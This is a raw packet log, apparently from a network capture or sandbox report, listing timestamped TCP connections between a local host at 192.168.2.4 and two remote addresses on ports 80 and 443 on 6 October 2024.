Oct 6, 2024 22:33:10.320945024 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320954084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320959091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320964098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320976019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320987940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.320988894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.320997000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321007013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321008921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321024895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321024895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321037054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321048975 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321048975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321069956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321089983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321404934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321415901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321425915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321436882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321446896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321458101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321465015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321470022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321480036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321489096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321492910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321499109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321516037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321538925 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321669102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321680069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321711063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321808100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321819067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321831942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321845055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321856022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321857929 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321866035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321867943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321877956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321890116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.321907997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.321933031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322093010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322102070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322118044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322129011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322137117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322140932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322148085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322149038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322160006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322170973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322175980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322180033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322191000 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322197914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322201967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322210073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322213888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322226048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322236061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322253942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322271109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322432041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322443962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322453976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322469950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.322474957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322487116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.322499990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.400551081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400574923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400588036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400636911 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.400665998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.400724888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400738955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400748968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400763035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.400774002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.400799036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.403470039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.403517962 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.403527021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.403539896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.403564930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.403589964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.403594017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.403609037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.403635025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.403649092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.510368109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.510389090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.515279055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.515291929 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.515347958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:10.515448093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.517235041 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.517770052 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.517833948 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.518430948 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.518445969 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.520190954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.520284891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:10.525037050 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.525648117 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.525661945 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.526201010 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.526211023 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.533312082 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.533787966 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.533817053 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.534288883 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.534295082 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.536238909 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.538140059 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.538156033 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.538521051 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.538526058 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.597919941 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.601922035 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.601932049 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.602338076 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.602343082 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.616316080 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.616372108 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.616441011 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.616631985 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.616646051 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.616667986 CEST	49757	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.616674900 CEST	443	49757	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.620193005 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.620210886 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.620289087 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.620421886 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.620430946 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.623301029 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.623507977 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.625828028 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.625864029 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.625869989 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.625883102 CEST	49758	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.625886917 CEST	443	49758	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.628043890 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.628053904 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.630125046 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.630256891 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.630270958 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.635879040 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.635951042 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.636014938 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.636181116 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.636193037 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.636197090 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.636209965 CEST	49759	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.636219978 CEST	443	49759	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.636265993 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.641834974 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641834974 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641834974 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641834974 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641834974 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641861916 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.641863108 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.641931057 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.641932011 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.642122030 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.642136097 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.642251968 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.642267942 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.703285933 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.703480959 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.703567028 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.703716993 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.703737974 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.703754902 CEST	49760	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.703763008 CEST	443	49760	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.705923080 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.705952883 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.706017971 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.706351995 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.706368923 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:10.946923971 CEST	49756	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:10.946957111 CEST	443	49756	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.255088091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:11.255269051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:11.264853954 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.265429974 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.265445948 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.266100883 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.266105890 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.269362926 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.269813061 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.269819021 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.270250082 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.270253897 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.275938988 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.276492119 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.276509047 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.277127981 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.277132988 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.305932999 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.306345940 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.306375027 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.306802988 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.306811094 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.359239101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:11.359267950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:11.359411955 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.359751940 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.359775066 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.360313892 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.360320091 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.362817049 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.362884998 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.362931013 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.363074064 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.363086939 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.363100052 CEST	49761	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.363105059 CEST	443	49761	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.364141941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:11.364157915 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:11.364171982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:11.366065025 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.366090059 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.366163015 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.366339922 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.366354942 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.373374939 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.373521090 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.373574972 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.373631954 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.373636961 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.373652935 CEST	49762	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.373656988 CEST	443	49762	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.375221014 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.375271082 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.375327110 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.375451088 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.375451088 CEST	49764	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.375468016 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.375478983 CEST	443	49764	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.376044989 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.376068115 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.376205921 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.376277924 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.376290083 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.377804041 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.377841949 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.377917051 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.378068924 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.378087044 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.409451962 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.409514904 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.409674883 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.409719944 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.409743071 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.409758091 CEST	49763	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.409765005 CEST	443	49763	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.412050009 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.412081003 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.412149906 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.412283897 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.412297964 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.459603071 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.459733009 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.459794998 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.459939003 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.459954977 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.459976912 CEST	49765	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.459985018 CEST	443	49765	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.463221073 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.463244915 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:11.463319063 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.463499069 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:11.463512897 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.001475096 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.002052069 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.002070904 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.002713919 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.002718925 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.025415897 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.025840044 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.025861025 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.026447058 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.026453018 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.030220032 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.030549049 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.030577898 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.031002045 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.031008005 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.075206041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:12.075288057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:12.079015017 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.079422951 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.079442024 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.079860926 CEST	49769	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.079868078 CEST	443	49769	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.097445011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:12.101198912 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.101268053 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.101444960 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.101511002 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.101531982 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.101547003 CEST	49766	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.101555109 CEST	443	49766	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.102379084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:12.103812933 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.108339071 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.108382940 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.108472109 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.108603954 CEST	49771	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.108619928 CEST	443	49771	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.109023094 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.109041929 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.109437943 CEST	49770	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.109442949 CEST	443	49770	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.134121895 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.134198904 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.134342909 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.134963036 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.135104895 CEST	443	49767	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.137598991 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.145189047 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.145226002 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.145251036 CEST	49768	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.145258904 CEST	443	49768	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:12.145405054 CEST	49767	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:12.145422935 CEST	443	49767	13.107.246.45	192.168.2.4
